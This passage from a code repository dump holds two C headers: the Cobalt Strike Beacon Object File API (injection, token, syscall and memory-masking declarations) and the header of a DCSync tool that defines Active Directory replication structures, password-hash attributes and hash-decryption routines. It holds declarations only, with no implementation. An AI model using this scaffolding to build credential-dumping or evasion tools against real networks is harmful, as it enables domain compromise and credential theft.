    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n *    3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL\n *               Updated the BEACON_INFO data structure to add new parameters\n *    4/19/2024: Added BeaconGetSyscallInformation API for 4.10\n *    4/25/2024: Added APIs to call Beacon's system call implementation\n *    12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)\n *    2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11\n *    3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12\n *    4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12\n *    7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12\n */\n#ifndef _BEACON_H_\n#define _BEACON_H_\n#include <windows.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, const char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, const char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_CUSTOM      0x1000\n#define CALLBACK_CUSTOM_LAST 0x13ff\n\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, const char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, const char * fmt, ...);\nDECLSPEC_IMPORT BOOL   BeaconDownload(const char * filename, const char* buffer, unsigned int length);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/* Information the user can set in the USER_DATA via a UDRL */\ntypedef enum {\n\tPURPOSE_EMPTY,\n\tPURPOSE_GENERIC_BUFFER,\n\tPURPOSE_BEACON_MEMORY,\n\tPURPOSE_SLEEPMASK_MEMORY,\n\tPURPOSE_BOF_MEMORY,\n\tPURPOSE_UDC2_MEMORY,\n\tPURPOSE_USER_DEFINED_MEMORY = 1000\n} ALLOCATED_MEMORY_PURPOSE;\n\ntypedef enum {\n\tLABEL_EMPTY,\n\tLABEL_BUFFER,\n\tLABEL_PEHEADER,\n\tLABEL_TEXT,\n\tLABEL_RDATA,\n\tLABEL_DATA,\n\tLABEL_PDATA,\n\tLABEL_RELOC,\n\tLABEL_USER_DEFINED = 1000\n} ALLOCATED_MEMORY_LABEL;\n\ntypedef enum {\n\tMETHOD_UNKNOWN,\n\tMETHOD_VIRTUALALLOC,\n\tMETHOD_HEAPALLOC,\n\tMETHOD_MODULESTOMP,\n\tMETHOD_NTMAPVIEW,\n\tMETHOD_USER_DEFINED = 1000,\n} ALLOCATED_MEMORY_ALLOCATION_METHOD;\n\n/**\n* This structure allows the user to provide additional information\n* about the allocated heap for cleanup. It is mandatory to provide\n* the HeapHandle but the DestroyHeap Boolean can be used to indicate\n* whether the clean up code should destroy the heap or simply free the pages.\n* This is useful in situations where a loader allocates memory in the\n* processes current heap.\n*/\ntypedef struct _HEAPALLOC_INFO {\n\tPVOID HeapHandle;\n\tBOOL  DestroyHeap;\n} HEAPALLOC_INFO, *PHEAPALLOC_INFO;\n\ntypedef struct _MODULESTOMP_INFO {\n\tHMODULE ModuleHandle;\n} MODULESTOMP_INFO, *PMODULESTOMP_INFO;\n\ntypedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {\n\tHEAPALLOC_INFO HeapAllocInfo;\n\tMODULESTOMP_INFO ModuleStompInfo;\n\tPVOID Custom;\n} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {\n\tBOOL Cleanup;\n\tALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;\n\tALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;\n} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_SECTION {\n\tALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development\n\tPVOID  BaseAddress;           // Pointer to virtual address of section\n\tSIZE_T VirtualSize;           // Virtual size of the section\n\tDWORD  CurrentProtect;        // Current memory protection of the section\n\tDWORD  PreviousProtect;       // The previous memory protection of the section (prior to masking/unmasking)\n\tBOOL   MaskSection;           // A boolean to indicate whether the section should be masked\n\tDWORD  DripLoadPageSize;      // The page size used when committing memory during drip-loading\n} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;\n\ntypedef struct _ALLOCATED_MEMORY_REGION {\n\tALLOCATED_MEMORY_PURPOSE Purpose;      // A label to indicate the purpose of the allocated memory\n\tPVOID  AllocationBase;                 // The base address of the allocated memory block\n\tSIZE_T RegionSize;                     // The size of the allocated memory block\n\tDWORD Type;                            // The type of memory allocated\n\tDWORD DripLoadAllocationGranularity;   // The allocation granularity used when reserving memory for drip-loading\n\tALLOCATED_MEMORY_SECTION Sections[8];  // An array of section information structures\n\tALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation\n} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;\n\ntypedef struct {\n\tALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];\n} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;\n\n/*\n *  version               - The version of the beacon dll was added for release 4.10\n *                          version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n *                          e.g. 0x040900 -> CS 4.9\n *                               0x041000 -> CS 4.10\n *\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n *\n *  Added in version 4.10\n *  allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA\n *                     via a UDRL.\n */\ntypedef struct {\n\tunsigned int version;\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n\n\tALLOCATED_MEMORY allocatedMemory;\n} BEACON_INFO, *PBEACON_INFO;\n\nDECLSPEC_IMPORT BOOL   BeaconInformation(PBEACON_INFO info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();\n\n/* Beacon System call */\n/* Syscalls API */\ntypedef struct\n{\n\tPVOID fnAddr;\n\tPVOID jmpAddr;\n\tDWORD sysnum;\n} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;\n\ntypedef struct\n{\n\tSYSCALL_API_ENTRY ntAllocateVirtualMemory;\n\tSYSCALL_API_ENTRY ntProtectVirtualMemory;\n\tSYSCALL_API_ENTRY ntFreeVirtualMemory;\n\tSYSCALL_API_ENTRY ntGetContextThread;\n\tSYSCALL_API_ENTRY ntSetContextThread;\n\tSYSCALL_API_ENTRY ntResumeThread;\n\tSYSCALL_API_ENTRY ntCreateThreadEx;\n\tSYSCALL_API_ENTRY ntOpenProcess;\n\tSYSCALL_API_ENTRY ntOpenThread;\n\tSYSCALL_API_ENTRY ntClose;\n\tSYSCALL_API_ENTRY ntCreateSection;\n\tSYSCALL_API_ENTRY ntMapViewOfSection;\n\tSYSCALL_API_ENTRY ntUnmapViewOfSection;\n\tSYSCALL_API_ENTRY ntQueryVirtualMemory;\n\tSYSCALL_API_ENTRY ntDuplicateObject;\n\tSYSCALL_API_ENTRY ntReadVirtualMemory;\n\tSYSCALL_API_ENTRY ntWriteVirtualMemory;\n\tSYSCALL_API_ENTRY ntReadFile;\n\tSYSCALL_API_ENTRY ntWriteFile;\n\tSYSCALL_API_ENTRY ntCreateFile;\n\tSYSCALL_API_ENTRY ntQueueApcThread;\n\tSYSCALL_API_ENTRY ntCreateProcess;\n\tSYSCALL_API_ENTRY ntOpenProcessToken;\n\tSYSCALL_API_ENTRY ntTestAlert;\n\tSYSCALL_API_ENTRY ntSuspendProcess;\n\tSYSCALL_API_ENTRY ntResumeProcess;\n\tSYSCALL_API_ENTRY ntQuerySystemInformation;\n\tSYSCALL_API_ENTRY ntQueryDirectoryFile;\n\tSYSCALL_API_ENTRY ntSetInformationProcess;\n\tSYSCALL_API_ENTRY ntSetInformationThread;\n\tSYSCALL_API_ENTRY ntQueryInformationProcess;\n\tSYSCALL_API_ENTRY ntQueryInformationThread;\n\tSYSCALL_API_ENTRY ntOpenSection;\n\tSYSCALL_API_ENTRY ntAdjustPrivilegesToken;\n\tSYSCALL_API_ENTRY ntDeviceIoControlFile;\n\tSYSCALL_API_ENTRY ntWaitForMultipleObjects;\n} SYSCALL_API, *PSYSCALL_API;\n\n/* Additional Run Time Library (RTL) addresses used to support system calls.\n * If they are not set then system calls that require them will fall back\n * to the Standard Windows API.\n *\n * Required to support the following system calls:\n *    ntCreateFile\n */\ntypedef struct\n{\n\tPVOID rtlDosPathNameToNtPathNameUWithStatusAddr;\n\tPVOID rtlFreeHeapAddr;\n\tPVOID rtlGetProcessHeapAddr;\n} RTL_API, *PRTL_API;\n\n/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.\n * This allows for retrieving a copy of the information which would be under the BOF's\n * control instead of a reference pointer which may be obfuscated when beacon is sleeping.\n */\ntypedef struct\n{\n\tSYSCALL_API syscalls;\n\tRTL_API     rtls;\n} BEACON_SYSCALLS, *PBEACON_SYSCALLS;\n\n/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */\nDECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);\n\n/* Beacon System call functions which will use the current system call method */\nDECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nDECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);\nDECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);\nDECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);\nDECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);\nDECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);\nDECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);\nDECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);\nDECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);\nDECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);\nDECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\n\n/* Beacon Gate APIs */\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGate();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGate();\n\nDECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();\nDECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();\n\n/* Beacon User Data\n *\n * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n * e.g. 0x040900 -> CS 4.9\n *      0x041000 -> CS 4.10\n*/\n\n#define DLL_BEACON_USER_DATA 0x0d\n#define BEACON_USER_DATA_CUSTOM_SIZE 32\ntypedef struct\n{\n\tunsigned int version;\n\tPSYSCALL_API syscalls;\n\tchar         custom[BEACON_USER_DATA_CUSTOM_SIZE];\n\tPRTL_API     rtls;\n\tPALLOCATED_MEMORY allocatedMemory;\n} USER_DATA, * PUSER_DATA;\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n#endif // _BEACON_H_\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/_include/dcsync.h",
    "content": "/*\n * DCSync BOF - Common Header\n * \n * Shared type definitions, constants, and function declarations\n * for the DCSync Beacon Object File implementation.\n */\n\n#ifndef DCSYNC_H\n#define DCSYNC_H\n\n#include <windows.h>\n#include <rpc.h>\n#include <wincrypt.h>\n\n// ============================================================================\n// Debug Output Macros\n// ============================================================================\n\n// Optional debug output (disable with -DNDEBUG for smaller binary)\n#ifndef NDEBUG\n#define DEBUG_PRINT(level, ...) BeaconPrintf(level, __VA_ARGS__)\n#else\n#define DEBUG_PRINT(level, ...) do { } while(0)\n#endif\n\n// Always print errors and critical output\n#define OUTPUT_PRINT(...) BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__)\n#define ERROR_PRINT(...) BeaconPrintf(CALLBACK_ERROR, __VA_ARGS__)\n\n// ============================================================================\n// DRSUAPI Type Definitions\n// ============================================================================\n\ntypedef LONGLONG DSTIME;\ntypedef void *DRS_HANDLE;\n\ntypedef struct {\n    unsigned char Data[28];\n} NT4SID;\n\ntypedef struct {\n    unsigned long structLen;\n    unsigned long SidLen;\n    GUID Guid;\n    NT4SID Sid;\n    unsigned long NameLen;\n    WCHAR StringName[1];\n} DSNAME;\n\ntypedef LONGLONG USN;\n\ntypedef struct {\n    USN usnHighObjUpdate;\n    USN usnReserved;\n    USN usnHighPropUpdate;\n} USN_VECTOR;\n\ntypedef struct {\n    UUID uuidDsa;\n    USN usnHighPropUpdate;\n} UPTODATE_CURSOR_V1;\n\ntypedef struct {\n    DWORD dwVersion;\n    DWORD dwReserved1;\n    DWORD cNumCursors;\n    DWORD dwReserved2;\n    UPTODATE_CURSOR_V1 rgCursors[1];\n} UPTODATE_VECTOR_V1_EXT;\n\ntypedef struct {\n    unsigned int length;\n    BYTE *elements;\n} OID_t;\n\ntypedef struct {\n    unsigned long ndx;\n    OID_t prefix;\n} PrefixTableEntry;\n\ntypedef struct {\n    DWORD PrefixCount;\n    PrefixTableEntry *pPrefixEntry;\n} SCHEMA_PREFIX_TABLE;\n\ntypedef ULONG ATTRTYP;\n\ntypedef struct {\n    DWORD dwVersion;\n    DWORD dwReserved1;\n    DWORD cAttrs;\n    ATTRTYP rgPartialAttr[1];\n} PARTIAL_ATTR_VECTOR_V1_EXT;\n\ntypedef struct {\n    ULONG valLen;\n    UCHAR *pVal;\n} ATTRVAL;\n\ntypedef struct {\n    ULONG valCount;\n    ATTRVAL *pAVal;\n} ATTRVALBLOCK;\n\ntypedef struct {\n    ATTRTYP attrTyp;\n    ATTRVALBLOCK AttrVal;\n} ATTR;\n\ntypedef struct {\n    ULONG attrCount;\n    ATTR *pAttr;\n} ATTRBLOCK;\n\ntypedef struct {\n    DSNAME *pObject;\n    ULONG fIsDefunct;\n    ATTRBLOCK AttrBlock;\n} ENTINF;\n\ntypedef struct REPLENTINFLIST {\n    struct REPLENTINFLIST *pNextEntInf;\n    ENTINF Entinf;\n    BOOL fIsNCPrefix;\n    UUID uuidDsaOrgPg;\n    USN_VECTOR UsnPropUpd;\n    DWORD __pad;\n} REPLENTINFLIST;\n\n// DRS Extensions  \ntypedef struct {\n    DWORD cb;\n    BYTE rgb[1];\n} DRS_EXTENSIONS;\n\ntypedef struct {\n    DWORD cb;\n    DWORD dwFlags;\n    GUID SiteObjGuid;\n    DWORD Pid;\n    DWORD dwReplEpoch;\n} DRS_EXTENSIONS_INT;\n\n// V8 Request\ntypedef struct {\n    UUID uuidDsaObjDest;\n    UUID uuidInvocIdSrc;\n    DSNAME *pNC;\n    USN_VECTOR usnvecFrom;\n    UPTODATE_VECTOR_V1_EXT *pUpToDateVecDest;\n    ULONG ulFlags;\n    ULONG cMaxObjects;\n    ULONG cMaxBytes;\n    ULONG ulExtendedOp;\n    LONGLONG liFsmoInfo;\n    PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet;\n    PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx;\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\n} DRS_MSG_GETCHGREQ_V8;\n\n// V10 Request (adds dwReservedUSN1, dwReservedUSN2, pUpToDateVecDestV2, dwReplicaHigh, dwReplicaLow, dwReservedUSN3)\ntypedef struct {\n    UUID uuidDsaObjDest;\n    UUID uuidInvocIdSrc;\n    DSNAME *pNC;\n    USN_VECTOR usnvecFrom;\n    UPTODATE_VECTOR_V1_EXT *pUpToDateVecDest;\n    ULONG ulFlags;\n    ULONG cMaxObjects;\n    ULONG cMaxBytes;\n    ULONG ulExtendedOp;\n    ULARGE_INTEGER liFsmoInfo;\n    PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet;\n    PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx;\n    SCHEMA_PREFIX_TABLE PrefixTableDest;\n} DRS_MSG_GETCHGREQ_V10;\n\n// V1 Reply\ntypedef struct {\n    UUID uuidDsaObjSrc;\n    UUID uuidInvocIdSrc;\n    DSNAME *pNC;\n    USN_VECTOR usnvecFrom;\n    USN_VECTOR usnvecTo;\n    UPTODATE_VECTOR_V1_EXT *pUpToDateVecSrcV1;\n    SCHEMA_PREFIX_TABLE PrefixTableSrc;\n    ULONG ulExtendedRet;\n    ULONG cNumObjects;\n    ULONG cNumBytes;\n    REPLENTINFLIST *pObjects;\n    BOOL fMoreData;\n} DRS_MSG_GETCHGREPLY_V1;\n\n// V6 Reply\ntypedef struct {\n    UUID uuidDsaObjSrc;\n    UUID uuidInvocIdSrc;\n    DSNAME *pNC;\n    USN_VECTOR usnvecFrom;\n    USN_VECTOR usnvecTo;\n    UPTODATE_VECTOR_V1_EXT *pUpToDateVecSrc;\n    SCHEMA_PREFIX_TABLE PrefixTableSrc;\n    ULONG ulExtendedRet;\n    ULONG cNumObjects;\n    ULONG cNumBytes;\n    REPLENTINFLIST *pObjects;\n    BOOL fMoreData;\n    ULONG cNumNcSizeObjects;\n    ULONG cNumNcSizeValues;\n    DWORD cNumValues;\n    void *rgValues;\n    DWORD dwDRSError;\n} DRS_MSG_GETCHGREPLY_V6;\n\ntypedef union {\n    DRS_MSG_GETCHGREQ_V8 V8;\n    DRS_MSG_GETCHGREQ_V10 V10;\n} DRS_MSG_GETCHGREQ;\n\ntypedef union {\n    DRS_MSG_GETCHGREPLY_V1 V1;\n    DRS_MSG_GETCHGREPLY_V6 V6;\n} DRS_MSG_GETCHGREPLY;\n\n// ============================================================================\n// RPC & Security Type Definitions\n// ============================================================================\n\n#ifndef __RPCNDR_H__\ntypedef union _CLIENT_CALL_RETURN {\n    void *Pointer;\n    LONG_PTR Simple;\n} CLIENT_CALL_RETURN;\n#endif\n\ntypedef struct _SecHandle {\n    ULONG_PTR dwLower;\n    ULONG_PTR dwUpper;\n} SecHandle;\n\ntypedef SecHandle CtxtHandle;\ntypedef SecHandle *PSecHandle;\ntypedef PSecHandle PCtxtHandle;\n\ntypedef struct _SecPkgContext_SessionKey {\n    ULONG SessionKeyLength;\n    PBYTE SessionKey;\n} SecPkgContext_SessionKey;\n\ntypedef struct _ENCRYPTED_PAYLOAD {\n    BYTE Salt[16];\n    DWORD CheckSum;\n    BYTE EncryptedData[1];  // Variable length\n} ENCRYPTED_PAYLOAD, *PENCRYPTED_PAYLOAD;\n\n\n\n// ============================================================================\n// Constants & Definitions\n// ============================================================================\n\n// Code page\n#define CP_ACP 0\n\n// RPC Security\n#define RPC_C_AUTHN_LEVEL_PKT_PRIVACY 6\n#define RPC_C_AUTHN_GSS_NEGOTIATE 9\n#define SECPKG_ATTR_SESSION_KEY 9\n#define RPC_C_OPT_SECURITY_CALLBACK 10\n\n// DRS Extended Operations\n#define EXOP_REPL_OBJ 6\n#define EXOP_REPL_SECRETS 3\n\n// DRS Flags\n#define DRS_INIT_SYNC                    0x00000001\n#define DRS_WRIT_REP                     0x00000010\n#define DRS_NEVER_SYNCED                 0x00000020\n#define DRS_FULL_SYNC_NOW                0x00000200\n#define DRS_SYNC_URGENT                  0x00008000\n#define DRS_GET_ANC                      0x00000008\n#define DRS_GET_NC_SIZE                  0x00001000\n#define DRS_SPECIAL_SECRET_PROCESSING    0x00000004\n\n// Attribute Types\n#define ATT_UNICODE_PWD          0x9005A\n#define ATT_NT_PWD_HISTORY       0x9005E\n#define ATT_LM_PWD_HISTORY       0x900A0\n#define ATT_SUPPLEMENTAL_CREDS   0x9007D\n#define ATT_SAM_ACCOUNT_NAME     0x900DD\n#define ATT_SAM_ACCOUNT_TYPE     0x9012E\n#define ATT_USER_PRINCIPAL_NAME  0x90290\n#define ATT_OBJECT_SID           0x90092\n#define ATT_PEK_LIST             0x90481\n\n// Crypto Constants\n#define PROV_RSA_AES 24\n#define PROV_RSA_FULL 1\n#define PLAINTEXTKEYBLOB 0x8\n// CALG_DES is already defined in wincrypt.h\n\n// Status Codes\n#ifndef STATUS_SUCCESS\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)\n#endif\n#ifndef STATUS_BUFFER_TOO_SMALL\n#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)\n#endif\n\n// Kerberos\n#define MICROSOFT_KERBEROS_NAME_A \"Kerberos\"\n#define KERB_ETYPE_RC4_HMAC_MD5 23\n\n// sAMAccountType values for account type detection\n#define SAM_USER_OBJECT        0x30000000  // Normal user account\n#define SAM_MACHINE_ACCOUNT    0x30000001  // Computer/workstation account\n#define SAM_TRUST_ACCOUNT      0x30000002  // Trust account\n\n// ============================================================================\n// Function Declarations\n// ============================================================================\n\n// DRSUAPI Functions (from RPC stub)\nULONG IDL_DRSBind(\n    RPC_BINDING_HANDLE hDrs,\n    UUID *puuidClientDsa,\n    DRS_EXTENSIONS_INT *pextClient,\n    DRS_EXTENSIONS_INT **ppextServer,\n    DRS_HANDLE *phDrs);\n\nULONG IDL_DRSUnbind(DRS_HANDLE *phDrs);\n\nULONG IDL_DRSGetNCChanges(\n    DRS_HANDLE hDrs,\n    DWORD dwInVersion,\n    DRS_MSG_GETCHGREQ *pmsgIn,\n    DWORD *pdwOutVersion,\n    DRS_MSG_GETCHGREPLY *pmsgOut);\n\n// Utility Functions\nvoid BytesToHex(const BYTE* bytes, DWORD len, char* output);\nDWORD GetRIDFromSID(const BYTE* sid, DWORD sidLen);\n\n// Crypto Functions\nBOOL DecryptRC4(const BYTE* encData, DWORD encLen, const BYTE* key, BYTE* output);\nBOOL DecryptRC4WithRawKey(const BYTE* encData, DWORD encLen, const BYTE* key, DWORD keyLen, BYTE* output);\nBOOL DecryptDESWithRid(const BYTE* encData, DWORD rid, BYTE* output);\nBOOL DecryptWithSessionKey(\n    const BYTE* encryptedData,\n    DWORD encryptedLen,\n    const BYTE* sessionKey,\n    DWORD sessionKeyLen,\n    BYTE* output,\n    DWORD* outputLen);\n\n// RPC Functions\nRPC_BINDING_HANDLE CreateDRSBinding(const char* dcHostname);\nvoid RPC_ENTRY RpcSecurityCallback(void *Context);\n\n// DSNAME Functions\nDSNAME* BuildDSName(const char* dn, const GUID* guid);\n\n// Utility Functions\nvoid InitDRSRequest(DRS_MSG_GETCHGREQ* request, const GUID* dcGuid, DSNAME* targetDsname);\n\n// Processing Functions\nvoid ProcessCredentials(REPLENTINFLIST* objects, const char* samAccountName, const char* distinguishedName, const char* dcHostname, const BYTE* sessionKey, DWORD sessionKeyLen, int onlyNT);\n\n// ============================================================================\n// Shared DECLSPEC Imports\n// ============================================================================\n\n// MSVCRT 